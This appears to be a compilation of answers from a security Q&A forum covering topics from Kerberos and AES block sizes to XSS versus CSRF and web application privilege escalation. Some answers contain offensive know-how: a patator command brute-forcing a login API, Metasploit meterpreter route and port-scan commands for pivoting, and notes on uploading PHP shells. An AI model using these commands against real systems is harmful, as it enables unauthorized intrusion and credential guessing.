Kerberos is still used widely in Windows server and clients are included in all major OS's.
I would have to speculate to answer this really. All I can say is that, for it to have survived so long, it can't be all bad. It is, of course, limited mainly to private networks since both the server and the clients all have to trust the Kerberos server. This makes it unsuited to web-based developments.
Sorry, not a Kerberos expert so I can't really help here. All I can say is that a quick Google search brought up some promising articles.


Strange 400 requests in webserver nginx logs (possible exploit scan?)

It may look like someone is fuzzing your webserver. Can you by any chance include more information than the strings you've pasted? It can look like someone is trying to pass you binary data.

There seems to be a pattern in some of it. For example \x may indicate hexadecimal annotation. You can see that both strings start and end with x11 and x1F. This might be of interest.

You also see an equal sign in there which may indicate the assigning of a GET value. Also the ampersand sign (&) which is used to concatenate several GET parameters.

Hopefully someone has a good explanation for us.


Incident Responders: Can you give some examples of Incidents / types of incidents that are suitable for fully or partly automated response?

Of the top of my head I wouldn’t say anything. The point of a SoC/SIEM is to bring things to the attention of a human analyst in order to evaluate the incident and decide on what actions to do next. Anything you don’t want a human to get “eyes on” should be tuned out of the SIEMs rule set.

There might be certain low risk things you want to automate, for example every time there is an AV hit with the malware being quarantined or deleted a ticket is raised to have the box rescanned while the analyst carries out the initial investigation, but typically this wouldn’t be done by the SIEM. (Although some SIEMs will have this capability and some SoC will use a SIEM to do this.)

A mature SoC will typically have a playbook for common alerts that are not tuned out. For example if x happens then do a, b, c, then escalate to a level two analyst for further investigation. This is more about having a standard operating procedure than automation.


Is there other vulnerabilities than CVE of NVD

NVD covers a lot of vulnerabilities. Aside from those you also have:

Security Focus (bugtraq)
OSVDB

They are often linked back to NVD CVE. Another interesting project to follow is vFeed which provides cross linking between vendors and CVE vulnerabilities.

Note that this covers disclosed vulnerabilities. There are still a lot of vulnerabilities which might not get disclosed.


Using a Proxy to Log Http/s requests and Performance Evaluation

To answer the original question : OWASP ZAP: https://www.owasp.org/index.php/ZAP
Its a fork of Paros, but has been significantly updated.
Its completely free, open source, and was voted the most popular security tool of 2013 by ToolsWatch.org readers: http://www.toolswatch.org/2013/12/2013-top-security-tools-as-voted-by-toolswatch-org-readers/

OK, I'm biased, as I'm the ZAP project lead ;)


To become a cloud security analyst, you should have a good understanding of cloud computing architectures and approaches and a firm understanding of the threat models, vulnerabilities, standards, solutions and services offered by various vendors. I have compiled a list of essential concepts related to cloud security in my slideshare presentation. Hope this would be a useful reference material.


Blocking access to social media on Windows

I don't think you can solve your problem at the hosts, IP firewall or
DNS blacklisting levels. These methods will fail and won't scale.
If this within your financial possibilities, I'd suggest you to install a
web firewall.
Here are the beginning of the prerequisites to build such a web firewall.
1. Material
A PC with a pretty large amount of RAM (≥ 8 Gb), 2 100 Mbit/s Ethernet ports,
a large disk (≥ 1 Tb).
This PC will have to be inserted as a breaker on your Internet connection cable (hence the 2 Ethernet ports).
2. Basic software
A rock solid OS (FreeBSD, Linux…) correctly secured (most notably everything not usefull will be closed).
A rock solid free software used by ISP to manage web performance and filtering: Squid
3. Real business
The configuration of this application level firewall should progress as follows:

standard configuration of squid as a transparent web proxy,
train yourself to look at the squid logs,
start to analyse what may cause bandwith waste, data leak…
make clear communication about its use and purpose,
turn off the phone,
start to filter…


How to properly handle unathorized errors in SPAs

Well it is rather more friendly to return JSON if you API specifies that it returns JSON. If it doesn't specify either way, it probably doesn't matter that much.

In honesty, I generally prefer to return something useful and meaningful. For people, I would redirect to the login page. For an API, I would return an unauthorised message. Returning a 404 when the result isn't missing isn't terribly helpful. Of course, this is more a usability question than a security one.

If you want your app to be usable, return the correct/useful data unless it would leak something critical. If you want your app to be ultra-secure but less usable, best to not even return a 404, return empty data instead.


Can using simultaneous intrusion detection systems (IDS) create conflicts?

Yes, according to my research you can use multiple IDS on the same computer simultaneously.

  If you are paranoid and have sufficient free time to read all the
  email, you will be happy to hear that multiple HIDS tools running in
  parallel do not get in each other's way. In other words, you can run a
  combination of Tripwire, AIDE, AFICK, Samhain, and OSSEC on a single
  computer and let the systems monitor one another. But some caution is
  advised: Updates that arrive at the same time can easily send the
  system into an infinite loop.
  http://www.linux-magazine.com/Issues/2016/183/Host-Based-IDS/(offset)/3#article_i4


Is a company's dark web search really effective at proving my info is not there?

This borders on being a scam. The "dark web" does not contain what people think it does, and it is not vast or all-encompassing. Hackers do not just randomly put stolen information on the dark web, and the overwhelming majority of underground transactions involving stolen data do not occur on it. What these companies actually do is scan public databases such as public leaks and Pastebin posts for certain keywords, and alert you if any are found. They use the term "dark web" for marketing reasons only.

Now, I'm not saying that these companies are completely useless or that they are never able to identify stolen information, but they do not do so by searching anything you would call the "dark web". In fact, it is so much of a buzzword that what they are doing now is no different from what they were doing before the term became well-known and before it became entwined with so much mysticism and FUD.


Can an infected system infect a downloaded iso?

Yes, it is theoretically possible. If the ISO is just a file, then there is nothing preventing malicious code from unpacking it, modifying the contents, and repacking it. If the system you use to download and check the ISO is compromised, you cannot rely on that system to tell you whether or not the integrity has been violated. One possible solution would be to burn it to a disc, then verify it on another system which you do not expect to be compromised.


Where can I download sample security log file archives?

If you're hosting the Splunk instance yourself, you can install the Splunk Add-on for Unix and Linux and grab those logs from your Splunk server. You can run a bare-bones Splunk install well below the specs listed on their website.

Here are some syslogs from an MIT server (not all are viewable), but I will post a better repository if I am able to find one.


Why can Oauth2 redirect_uri be a non-https URI?

The answer is pretty straightforward: it doesn't. If the token is sent over cleartext then you're hosed. The spec doesn't provide mitigations for security issues that arise from not following the spec's recommendations.

Alternatively there is some relief in using the code flow because you're passing a nonce of sorts (the 'code') over cleartext instead. You have to exchange the code for a proper token through a backchannel service, which should be over SSL. This way the token itself is requested over a secure channel.


Can a Firefox add-on or plug-in access the user's websites' saved passwords in decrypted mode?

In Firefox: Yes, absolutely.  Nothing about the Firefox architecture prevents them from doing so.

While the passwords are in theory "encrypted" while stored on disk, the decryption key is also stored on disk.  Therefore, any software with access to the filesystem will find it trivial to decrypt the stored passwords and access them.  (If you don't want to take my word on it, here is one simple way to convince yourself that this is possible: The Firefox browser can decrypt them without prompting you for any secrets.)

In Firefox, plug-ins can run native code, so they can access the filesystem.  Therefore, they can grab and decrypt all your stored passwords.  They can also exfiltrate them out over the network, if they choose.

In Firefox, extensions can run arbitrary shell commands and access the filesystem, so they too can grab and decrypt all your stored passwords, and exfiltrate them over the network.

There is a light review process for populara Firefox extensions, which might make it harder for unsophisticated extensions to mount such an attack.  However, this review process can be easily subverted by malware: extensions can dynamically load code from external sources (e.g., via <SCRIPT SRC=...> or eval), and the attacker can arrange for that externally-loaded code to be benign during review and malicious during execution.

Therefore, there is nothing that really prevents a malicious Firefox plug-in or Firefox extension from mounting such an attack.

(Interestingly, Chrome's extension system has better protection against this kind of attack, for extensions.)


Verifying android application integrity from server side

Use Android SafetyNet.  This is how Android Pay validates itself.

The basic flow is:

Your server generates a nonce that it sends to the client app.
The app sends a verification request with the nonce via Google Play Services.
SafetyNet verifies that the local device is unmodified and passed the CTS.
A Google-signed response ("attestation") is returned to your app with a pass/fail result and information about your app's APK (hash and sigining certificate).
Your app sends the attestation to your server.
Your server validates the nonce and APK signature, and then submits the attestation to a Google server for verification.  Google checks the attestation signature and tells you if it is genuine.

If this passes, you can be fairly confident that the user is running a genuine version of your app on an unmodified system.  The app should get an attestation when it starts up and send it along to your sever with every transaction request.

Note, however, this means:

Users who have rooted their phone will not pass these checks
Users who have installed custom or third-party ROM/firmware/OS (eg Cyanogen) will not pass these checks
Users who do not have access to Google Play Services (eg Amazon devices, people in China) will not pass these checks

...and therefore will be unable to use your app.  Your company needs to make a business decision as to whether or not these restrictions (and the accompanying upset users) are acceptable.

Finally, realize that this is not an entirely airtight solution.  With root access and perhaps Xposed, it is possible to modify the SafetyNet library to lie to Google's servers, telling them the "right" answers to get a verification pass result that Google signs.  In reality, SafetyNet just moves the goalposts and makes it harder for malicious actors.  Since these checks ultimately have to run on a device out of your control, it is indeed impossible to design an entirely secure system.

Read an excellent analysis of how the internals of SafetyNet work here.


Can we drop XP from HTTPS support? If not, when?

Depends entirely on specific sites. I suspect that a lot of sites with known audiences have already started dropping support for XP specific fixes - sites dedicated to OSX software, for example, probably get negligible XP using traffic. They may well have decided that they would rather have better security than worry about the few users who use XP.

On the other hand, sites like Facebook probably still see quite a lot of XP users, especially from countries where upgrading computers is prohibitively expensive. Dropping all support would instantly lose those users, which Facebook might not consider worthwhile.

It essentially comes down to a business decision though, rather than a security decision. If your business feels it is worth supporting these users, it will keep doing so. If not, it may drop the support.

For your own site, it's entirely safe to drop XP compatibility features. You might lose some users, but there isn't anything to stop you.


Securing a VPS network with a VPN and a DMZ

I had a similar setup for my production servers. The HTTP server load balancing was done by HAPROXY. I can recommend NGINX especially for the front facing server that will also handle SSL. Also I am not sure, what policy you are taking to transfer files to the host machines or getting terminal access. You probably need to think about opening up an SSH port via virtual tunnel through the gateway server that has the public facing interface. For transferring files you can use SFTP or rsync.


Embargo of a security issue means that the issue will not be publicly disclosed for some time by the vendor/discoverer. This is usually done to give the affected companies enough time to fix the problem and ship the fixes to the customers. If multiple parties are involved or if the needed code changes are done in public repositories, embargoes can get tricky because the chance that the issue gets early known is much higher than with a single party.


Port Scan Detected and Blocked! - Bitdefender 2014

This likely isn't as bad as it sounds.  If you have your computer plugged directly in to the modem, random port scanning of IP addresses on the internet is extremely common.  On my web server, I get about 30 to 100 invalid login attempts a day trying to get on my system.

Hackers look for low hanging fruit, so they will scan large swaths of the Internet looking for vulnerable systems.  Just because you are seeing activity like this does not mean you are being targeted.

It does, however, illustrate the importance of protecting yourself from intrusions.  I would recommend getting a router with a firewall and set that up to prevent attackers from being able to directly attempt to access your computer.  This strategy is called defense in depth (now rather than simply exploiting your computer, they must first exploit the router and then try to exploit your computer and that gives you time to detect your router is compromised) and it will help protect you from attacks and prevent the port scans from reaching your computer (as they will instead be hitting the router's WAN port firewall instead.)


How to retrieve a site whose server is running Linux

If you actually want to just get a list of which sites run Linux, visit netcraft.com, which gives server types, uptime and a wide range of other statistics.


I could not get the Hydra command to work, but I did learn about patator, https://github.com/lanjelot/patator, which worked.

Patador command: python patator.py http_fuzz url=https://api.myapp.app/api/login/ method=POST body='username=root&password=FILE0' 0=/home/[your dictionary file]

If anyone is a Hyrda expert, I am still interested in learning how to use Hydra for the same. While the patator tool works, I am not sure it supports rate limits and other features found in Hydra. Thank you.


Resolving an IP address of a Remote machine to its MAC address

Information sent in headers through the GMail web interface:

Received: by 10.0.22.202 with SMTP id o10mr1683492bkb.70.1307695606700; Fri,
 10 Jun 2011 01:46:46 -0700 (PDT)
Received: by 10.0.57.83 with HTTP; Fri, 10 Jun 2011 01:46:46 -0700 (PDT)
X-Originating-IP: [121.121.121.121]

However, using a software client, my email headers say this:

Received: from [192.168.17.21] (myhost.myisp.com [121.121.121.121])
    by mx.google.com with ESMTPS id ex2sm1432764wbb.65.2011.06.10.01.32.47
    (version=TLSv1/SSLv3 cipher=OTHER);
    Fri, 10 Jun 2011 01:32:48 -0700 (PDT)

So yes, your email headers may contain the IP Address of the location from which you connected.

Can you deduce a hardware MAC address from this? Not unless you're on the same subnet and can send ARP requests or have some other local access. That's how internet routing works - even Google's SMTP server won't have had that information. If you do have local access to a network, using email to get that information is probably excessive anyway; you could find it simply by listening on the wire or OTA.


Is HTTPS and Basic Authentication secure enough for banking webservices (RESTful)?

HTTP Basic Authentication is not much used in browser-server connections because it involves, on the browser side, a browser-controlled login popup which is invariably ugly. This of course does not apply to server-server connections, where there is no human user to observe any ugliness, but it contributes to a general climate of mistrust and disuse for Basic Authentication.

Also, in the 1990s, before the days of SSL, sending plaintext passwords over the wire was considered a shooting offence, and, in their folly, people considered that challenge-response protocols like HTTP Digest were sufficient to ensure security. We now know that it is not so; regardless of the authentication method, the complete traffic must be at least cryptographically linked to the authentication to avoid hijack by active attackers. So SSL is required. But when SSL is in force, sending the password "as is" in the SSL tunnel is fine. So, to sum up, Basic Authentication in SSL is strong enough for serious purposes, including nuclear launch codes, and even money-related matters.

One should still point out that security relies on the impossibility of Man-in-the-Middle attacks which, in the case of SSL (as is commonly used) relies on the server's certificate. The SSL client (another server in your case) MUST validate the SSL server's certificate with great care, including checking revocation status by downloading appropriate CRL. Otherwise, if the client is redirected to a fake server, the fake server owner will learn the password... In that sense, using something like HTTP Digest adds some extra layer of mitigation in case the situation got already quite rotten, because even with HTTP Digest, a fake server doing a MitM can still hijack the connection at any point.

If we go a bit further, we may note that when using password-based authentication, we actually want password-based mutual authentication. Ideally, the SSL client and the SSL server should authenticate each other based on their knowledge of the shared password. Certificates are there an unneeded complication; theoretically, SSL client and server should use TLS-PSK or TLS-SRP in that situation, and avoid all the X.509 certificate business altogether.

In particular, in SRP, what the server stores is not the password itself but a derivative thereof (a hash with some extra mathematical structure). One shall note an important point: in the case of a Web API, both the client and the server are machines with no human involved. Therefore, the "password" does not need to be weak enough to be remembered by the meat bags. That password could be, say, a sequence of 25 random characters, with an entropy gone through the roof. This makes the usual password hashing methods (slow hashing, salts) kind of useless. We still want to avoid storing in the server's database (thus as a prey to potential SQL injections) the passwords "as is", but, in that case, a simple hash would be enough.

This points to the following: ideally, for a RESTful API to be used by one server to talk to another, with authentication based on a shared (fat) secret, the communication shall use TLS with SRP. No certificate, only hashes stored on the server. No need for HTTP Basic Auth or any other HTTP-based authentication, because all the work would have already occurred on the SSL/TLS level.

Unfortunately, the current state of deployment of SRP-able SSL/TLS implementations usually means that you cannot use SRP yet. Instead, you will have to use a more mundane SSL/TLS with an X.509 certificate on the server side, that the client dutifully validates. As long as the validation is done properly, there is no problem in sending the password "as is", e.g. as part of HTTP Basic Authentication.


Does SSL/TLS have the feasibility of detecting malicious things during transmission?

As per my knowledge the current implementation of SSL/TLS does not have the capability to identify the data is malicious or not during the transmission or before encrypt the data. If its have , kindly do let me know.

SSL/TLS is just for transport of the data and has no idea of what the data are for. Therefore it can and will not detect "malicious things", whatever these are. But it can detect somebody trying to sniff or manipulate the traffic in between sender and recipient.

  If its not having the trend of identifying of it, then what's wrong on going it that to implement in such a way to get the same time as current SSL/TLS working now ?

Proper detection of "malicious things" can only be achieved if the attacker sets the security flag as defined per RFC 3514. But please note that this is only defined for IPv4 for now. Please also note the date this RFC was issued.


Network Forensics - what is in your toolbox

Well, for the first 3 questions I would perform a full examination on the machine back at the office. We are lucky enough to have ongoing network monitoring in several locations in our network, both in the form of firewalls and flow collectors.

Flow Records from Argus (similar to Net- or J-flows)
Firewall logs (from both 'near by' hosts and hardware firewalls)
tcpdump (captured from a mirrored port if possible, hub/tap if necessary)
perl/grep/awk

The majority of the magic comes in the form of the perl scripts we have developed over the years, and the analysis/aggregation tools shipped with Argus.

The majority of compromises that I have examined are being used to either serve up illegal movies/music/etc or perform denial of service attacks. In both cases the infections are easy to track from either the flow records or firewalls.


Summary: S/MIME and PGP both provide "secure emailing" but use distinct encodings, formats, user tools, and key distribution models.

S/MIME builds over MIME and CMS. MIME is a standard way of putting arbitrary data into emails, with a "type" (an explicit indication of what the data is supposed to mean) and gazillions of encoding rules and other interoperability details. CMS means "Cryptographic Message Syntax": it is a binary format for encrypting and signing data. CMS relies on X.509 certificates for public key distribution. X.509 was designed to support top-down hierarchical PKI: a small number of "root certification authorities" issue (i.e. sign) certificates for many users (or possibly intermediate CA); a user certificate contains his name (in an email context, his email address) and his public key, and is signed by a CA. Someone wanting to send an email to Bob will use Bob's certificate to get his public key (needed to encrypt the email, so that only Bob will be able to read it); verifying the signature on Bob's certificate is a way to make sure that the binding is genuine, i.e. this is really Bob's public key, not someone else's public key.

PGP is actually an implementation of the OpenPGP standard (historically, OpenPGP was defined as a way to standardize what the pre-existing PGP software did, but there now are other implementations, in particular the free opensource GnuPG). OpenPGP defines its own encryption methods (similar in functionality to CMS) and encoding formats, in particular an encoding layer called "ASCII Armor" which allows binary data to travel unscathed in emails (but you can also mix MIME and OpenPGP). For public key distribution, OpenPGP relies on Web of Trust: you can view that as a decentralized PKI where everybody is a potential CA. The security foundation of WoT is redundancy: you can trust a public key because it has been signed by many people (the idea being that if an attacker "cannot fool everybody for a long time").

Theoretically, in an enterprise context, WoT does not work well; the X.509 hierarchical PKI is more appropriate, because it can be made to match the decisional structure of the envisioned companies, whereas WoT relies on employees making their own security policy decisions.

In practice, although most emailing softwares already implement S/MIME (even Outlook Express has implemented S/MIME for about one decade), the certificate enrollment process is complex with interactions with external entities, and requires some manual interventions. OpenPGP support usually requires adding a plugin, but that plugin comes with all that is needed to manage keys. The Web of Trust is not really used: people exchange their public keys and ensure binding over another medium (e.g. spelling out the "key fingerprint" -- a hash value of the key -- over the phone). Then people keep a copy of the public keys of the people they usually exchange emails with (in the PGP "keyring"), which ensures appropriate security and no hassle. When I need to exchange secure emails with customers, I use PGP that way.

OpenPGP is also used, as a signature format, for other non-email tasks, such as digitally signing software packages in some Linux distributions (at least Debian and Ubuntu do that).


There is no way of protecting that in particular.

What I mean is that there is no way of demonstrating that the database was not manipulated itself, BUT, the point is that to be able to manipulate that database in modern versions of iOS (in older versions, the backup could be manipulated and dumped back to the device) you should jailbreak your iOS device, and that really leaves tracks of manipulation on the phone.

As far as I know.

Source: Asking around.


What HTTP status codes indicate that there is a SQLi vulnerability?

There are no error code for sql injections. HTTP status code 500 just means an internal server error. When being able to break the code by just adding some special characters, the code is vulnerable to a SQL injection as the input is not sanitized,

For example:

$sql = "SELECT * FROM mytable WHERE name = '$name'";

When adding "Jose's" into the field, the SQL statement would be:

$sql = "SELECT * FROM mytable WHERE name = 'Jose's'";

which would be an error in the syntax.

If the input is not sanitized you could now add additional SQL statements after the ' and therefore run your own sql statements.


How do I prevent extra javascript from being added into HTML kiosk in public space?

From a web app point of view the vulnerabilities you describe are the same for any website and can be mitigated in the same way. Check out the OWASP top ten and ASVS for industry standard ways of dealing with these problems.

Otherwise some particular techniques off the top of my head include:

Scrubbing input
Use content security policy headers
Use a WAF
Clear all data after the session has finished

PCI DSS has requirement 6 to cover the development of secure software, take a look at the PCI council website.

Also I would imagine that your kiosk would be considered a virtual terminal, so check out SAQ C-VT to make sure you're cover there.


How can I protect browser cached files to be accessed in a case of a stolen hard drive?

If you control the system
Besides cached files that you see there can be other places where browser data can be found:

System swap file
Temporary files (this is not the same as cache)
Data in the deleted (some files can be restored after deletion)

That's why, if you have some sensitive data in cached files, caring about cache files only is not sufficient.
That's why consider using whole disk encryption. On Windows it can be BitLocker, on Linux some solution based on LUKS like dm-crypt.
If the whole disk is encrypted, then you don't need to care about any temporary files and deleted files.
If you don't control the system, e.g. cache on user device
A solution depends on what threats you see.

If disclosure of cached data means that user will loose let say 100'000 USD, then a very efficient solution is to inform users how they can encrypt their disks.

If disclosure of cached data is less expensive: Generate a key pair. Send public key to the server. On the server encrypt data with public key. In browser, before displaying data, decrypt them with user private key. Such data in cache cannot be decrypted by anyone. To access private key user will be asked once for a password. If device is stolen, nobody will be able to use private key because this requires the password. If the password is random and long enough, it will be unbreakable.
Separate data from code. Encryption of code makes no sense. Encrypt the data only.
But: When browser decrypted data and displays them to the user, they are present in the plain form in the browser DOM. If the device swaps memory, such data can be written to the swap file in the plain form. Means, this approach is not as secure as the full disk encryption.

If the data disclosure will not cost much, i.e. if the data disclosure does not give an attacker much benefits, then experienced attackers will not spend their time on retrieving such data. Then you protect against simple threats only, e.g. against advanced users that are aware of browser cache, but don't know much about technologies used in browser. Then obfuscation might be sufficient. Simple viewing of cached files will not give such unskilled "attackers" any info.


The main difference between XSS and CSRF is the perspective:

XSS: takes advantage of the trust the user has in a particular website
CSRF: takes advantage of the trust the website has for the user's browser

XSS has a dependency on javascript yes, but it is not limited to that scope. What I mean is that you need javascript for the payload, but payloads have been known be executed by not only JS itself, but also activeX, flash, VBScript and html to name a few. It all depends on what the site will allow users to change on the site itself. So noscript is a great way to stop higher level scripts from running  (think <script>attackmeplease()</script>) but depending on the site someone can get really clever inserting it into say flash media that the user allows to run because its a video sharing site (a crude example but you get the idea, social engineering plays a part).

CSRF has no such dependency on javascript and is designed to send a request to other websites without the users knowledge. It is highly dependent on the browsers ability to get and execute the attack package. Another difference is it can come in more forms such as HTML image tags, javascript image objects, word documents, movies, emails etc... The request itself cannot be blocked if the package is executed no, but the site can validate the request.

Some other differences are the requirements for instantiation, in one the user must visit a specific site, in the other they must use a tainted media that can come from a variety of sources, not just a site. The final point of failure is also different, in XSS the user is the last point of failure, while in CSRF the server is.

Another large difference is that a site that is vulnerable to XSS is almost certainly vulnerable to CSRF, while being protected from XSS even completely does not mean you are protected from CSRF.


Can attacker escalate its privileges if he has access a web Application running with www-data

My question is can attacker login my system and escalate privileges if
  he login web application and even know the password of mysql database.

Fast Answer : Yes...

WebApp

I suppose you mean the attacker has access to the cms admin backoffice.

Attacker could try to achieve ACE (Remote Code Execution) / RFI (Remote File Inclusion)

Upload a php shell embedded in an image
Upload & Install a malicious Opencart Extension (to grant shell access)

Upload a php shell (using other methods)

MySQL

A shell can be uploaded also...

If the attacker has the database credentials and the database allows remote connections, then it can perfectly perform much evil with a simple mysql client remote connection, specially if the credentials have high privileges.

If the database only accepts local connections it could also happen, example : attacker manages to upload a shell by other means, and connects from the local machine through his shell with the database credentials.

This could even happen in scenarios where the attacker doesn't know the database credentials but manages to find a good sql-injection in the webapp.

WARNING : If the webapps database has been setup with root / full privilege account, a SQL Injection could mean  gameover (no need for the attacker to escalate privileges)

Article : SQLMAP Shell upload [SQL Injection]


concern about including credit card form in iframe using dynamically generated url

X-FRAME-OPTIONS to your rescue!

If you want to load a page from one app to an iFrame on another use the "ALLOW-FROM uri" setting.

Good Reads:

The X-Frame-Options response header
Clickjacking Defense Cheat Sheet


How large blocks does AES-cbc use with a 128 bit key and with a 192-bit key?

AES is a block cipher, actually three block ciphers.

A block cipher is a key-dependent permutation of values: it takes as input blocks (sequences of n bits for a given n; there are 2n such values) and outputs blocks of the same size. No two distinct input blocks will yield (for a given key) the same output block, and each of the 2n blocks is a possible output; that's what "permutation" means (it can be seen as a big shuffle of all the 2n values). The inverse permutation ("decrypt") can be efficiently computed (with the key, of course).

There are 2n! permutations over n-bit blocks; that's "factorial of 2n", a truly huge number: for n = 128, this is close to 1012963922773915897352048185492495741149019.37. The key "selects" which of these permutations is actually used. The block cipher is secure as long as this selection is "as if" it was random and uniform, i.e. we cannot distinguish the block cipher from a permutation which was selected randomly and uniformly in this large set.

Cryptographers tend to be practical people, so they want the key to be represented as a reasonably short sequence of bits; let's call k the size of the key. We want k to be large enough so that it is computationally unfeasible to enumerate of 2k keys. But since there are really many permutations to choose from, there is no problem in having very big keys.

We also want n (the block size) to be large enough in order to avoid some issues when the block cipher is used. Since a block cipher encrypts only blocks, it is rather inconvenient: when we encrypt, we usually want to encrypt messages with a variable and potentially large size. Thus come into play the mode of operation, aka "chaining mode", which specifies how a message is to be split into blocks, and how the encrypted blocks are glued back together. There are several modes; ECB is the simplest and it has weaknesses; CBC and CTR are the most widely used and they are OK... as long as we do not encrypt too many blocks with the same key. For n-bit blocks, trouble may appear once you process about 2n/2 blocks with the same key. We want n to be big enough, so that 2n/2 is so ludicrous that the situation will not arise.

Hence key size (k) and block size (n) are both dictated by security concerns, but not the same. In particular, there is no implicit rule that k and n should be equal to each other.

In 1997, NIST announced the AES competition: they wanted a secure and efficient block cipher to standardize. At that time, they had 3DES ("triple DES"), a block cipher with a 192-bit key and 64-bit blocks. The actual key size is lower: of the 192 bits, 24 are ignored right away, so the effective key size is rather 168 bits; moreover, the structure has a weakness which allows a theoretical attack with effort 2112, so 3DES is administratively said to offer "112-bit strength". That key size is still quite satisfying, but the existence of a known structural weakness is kind of worrying. More importantly, 64-bit blocks were turning out not to be enough: this implies a "chaining mode limit" at 232 64-bit blocks, i.e. 32 gigabytes. In 1997 multi-gigabyte hard disks were already common. So NIST said that they wanted the new block cipher to have 128-bit blocks (n = 128).

Also, in order to comply with some obscure military regulations, they wanted the block cipher to accept three distinct key sizes, so what NIST was asking for was really three block ciphers, but preferably three variants of the same underlying structure so that implementing all three in a given system remained cheap. The military regulations stated that there should be three "security levels", because these regulations were written at a time when cryptography was inherently weak and expensive, so the "strongest" methods were used quite sparingly (that was a time before the invention of the computer). NIST, in 1997, despite being a state organization, was smart enough to see that it could have already very good security with the smallest key size: there was no need to have a weak version of the cipher; they just needed some versions which could be claimed, in bureaucratic-speak, to be "stronger".

So NIST defined that the new algorithm(s) should accept keys of sizes 128, 192 and 256 bits. A 128-bit key is more than enough to ensure security in the foreseeable future. These sizes are multiples of 64, which is a power of 2, and programmers just love that.

Rijndael, the algorithm which was finally chosen as AES, complied to the competition rules like the other 14 candidates, and was specified with 128-bit blocks, and key sizes of 128, 192 and 256 bits. Actually, the Rijndael structure was also defined with blocks of size 192 and 256 bits, but NIST was not interested in such block sizes, and thus "AES" (the standard) is only with 128-bit blocks.

So the AES uses 128-bit blocks with a 192-bit or 256-bit key because:

it was defined that way;
that's what NIST asked for in the first place;
it is sufficient for adequate security.

Note that having keys longer than blocks was already common before the AES (see 3DES, IDEA, RC2, RC5...).


Is BitLocker on a virtual machine still FIPS 140-2 compliant?

In the Validated module list, you'll find a link to the applicable security policy. In the security policy, §2.3 describes the platforms on which the certification applies: it lists several versions of Windows, with no reference to any particular hardware. Then §6 describes usage requirements that must be met in order for the certificate to apply. One of the FIPS-compliant startup mechanisms listed in §5.2 must be in use, therefore the machine must have a PIN pad, a USB connection or a TPM. The policy does not explicitly describe the connection between the machine running Windows and these peripherals, therefore a virtual machine would be acceptable.

A virtual thumb drive would be a different matter. As there is no actual USB involved, I don't think the language can be construed to cover this case.

How meaningful is Bitlocker then? I'll argue it's still useful. Bitlocker (if it meets its security requirement) still protects secrets against any attacker that's confined in the virtual machine.

But the fact that Bitlocker is FIPS 140-2 Level 1 compliant does not in itself mean that Bitlocker is particularly secure. As you can see by reading the security policy, what you have is a superficial evaluation that Bitlocker implements cryptographic algorithms correctly, takes some slight care not to leak key material, and has a vaguely decent high-level architecture. That's all. You would have to go a higher in the certification hierarchy (FIPS 140-2 Level 2, or Commom Criteria with a decent EAL) to get some security assurance. And even then, what you get is just that: some assurance, not a guarantee of perfect security.


Metasploit: Executables are not working after Reverse Shell

Meterpreter session allows you to perform a wide range of post exploitation activities. Those activities are either performed through the built-in commands or through post exploitation modules. Type help on the meterpreter session and you can see all the built-in commands in the stdapi plugin that is loaded by default. If you want to load another plugin, you can use the load <plugin name> command such as load kiwi and it will load the mimikatz plugin of meterpreter.

In other to perform port scan of the target network on which you have got the session, first create a route through the session and then use a module which has the capability to tunnel the traffic through the connected session. e.g.

meterpreter > route add 10.10.1.0 255.255.255.0 1
meterpreter > use auxiliary/scanner/portscan/tcp
meterpreter (tcp) > set RHOSTS 10.10.1.0/24
meterpreter (tcp) > set THREADS 15
meterpreter (tcp) > run

If will scan the target network while route all the traffic through the session ID 1 that is specified in the route command at the end.

Take a look at https://www.sans.org/reading-room/whitepapers/testing/post-exploitation-metasploit-pivot-port-33909 for further details.


Test STARTTLS configuration of SMTP server

Here are a several websites that provide tests that you may be interested in.

SSL-Tools is a web-based tool that tests a SMTP server for each of the items you mentioned; it tests for STARTTLS support, a certificate that passes strict validation checks, support for perfect forward secrecy, and other stuff:

https://ssl-tools.net/mailservers
StartTLS is a web-based tool that tests a SMTP server and provides a simple grade, along with many details on the configuration of the SMTP server (though no testing of whether perfect forward secrecy is used):

https://starttls.info/ (see the about page information about the service, or statistics about sites checked with their service)
CheckTLS is a web-based tool provide a way to test a SMTP server for STARTTLS server as well as whether the certificate is "ok" (i.e., it passes strict validation) and partial information on what cipher was negotiated when they connected to that SMTP server (but no information about perfect forward secrecy support):

https://www.checktls.com/
The following web-based tools check whether a SMTP server support STARTTLS, but do not perform any of the other checks mentioned in the question:

https://luxsci.com/extranet/tlschecker.html (see http://luxsci.com/blog/how-to-tell-who-supports-tls-for-email-transmission.html for introduction)
https://mxtoolbox.com/

If you have to check only one or two, try SSL-Tools and StartTLS.


Monitor Server Requests and IP Addresses

It would be better to log PHP requests. So you can cobble some simple script on top of your index.php to log all _GET and _POST globals. Based on that, you can see what request is sent with what parameters to your Wordpress which causes a breach.

Your theme used to have vurnerabilities, see link here, it may be that it still has some which is exploited on your website. Unfortunately, you might be on your own in tracking it via _GET and _POST and fixing it by returning null if malicious parameters are passed.


Cracking a linear congruential generator

Yes.  There are extremely efficient ways to break a linear congruential generator.

A linear congruential generator is defined by sn+1 = a sn + b mod m, where m is the modulus.  In its simplest form, the generator just outputs sn as the nth pseudorandom number.  If m is known to the attacker and a, b are not known, then Thomas described how to break it.

If none of a, b, m are known, one can still break a linear congruential generator, by first recovering m.  It is an interesting exercise to derive how to do so efficiently; it can be done.  I'll show how below; don't read on if you prefer to try to figure it out for yourself.

  To recover m, define tn = sn+1 - sn and un = |tn+2 tn - t2n+1|; then with high probability you will have m = gcd(u1, u2, ..., u10).  10 here is arbitrary; if you make it k, then the probability that this fails is exponentially small in k.  I can share a pointer to why this works, if anyone is interested.

The important lesson is that the linear congruential generator is irredeemably insecure and completely unsuitable for cryptographic use.

Added: @AviD will hate me even more :), but here's the math for why this works, for those who requested it.

  The key idea: tn+1 = sn+1 - sn = (a sn - b) - (a sn-1 - b) = a sn - a sn-1 = a tn mod m, and tn+2 = a2 tn mod m, and tn+3 = a3 tn mod m.  Therefore tn+2 tn - tn+12 = 0 mod m, i.e., |tn+2 tn - tn+12| is a random multiple of m.  Nifty number theory fact: the gcd of two random multiples of m will be m with probability 6/π2 = 0.61; and if you take the gcd of k of them, this probability gets very close to 1 (exponentially fast in k).  Is that cool, or what?


Is sending a password encrypted or as SHA1 any safer than clear text?

I'm assuming that you are talking about additional hashing. So it would look like this:

Client --sha1(password)--> Server --bcrypt(sha1(password)--> Database

I think you are aware of this, but just to make it explicit: the transfer needs to happen via SSL to defend against eavesdroppers, hashing client-side would be no help against them at all.

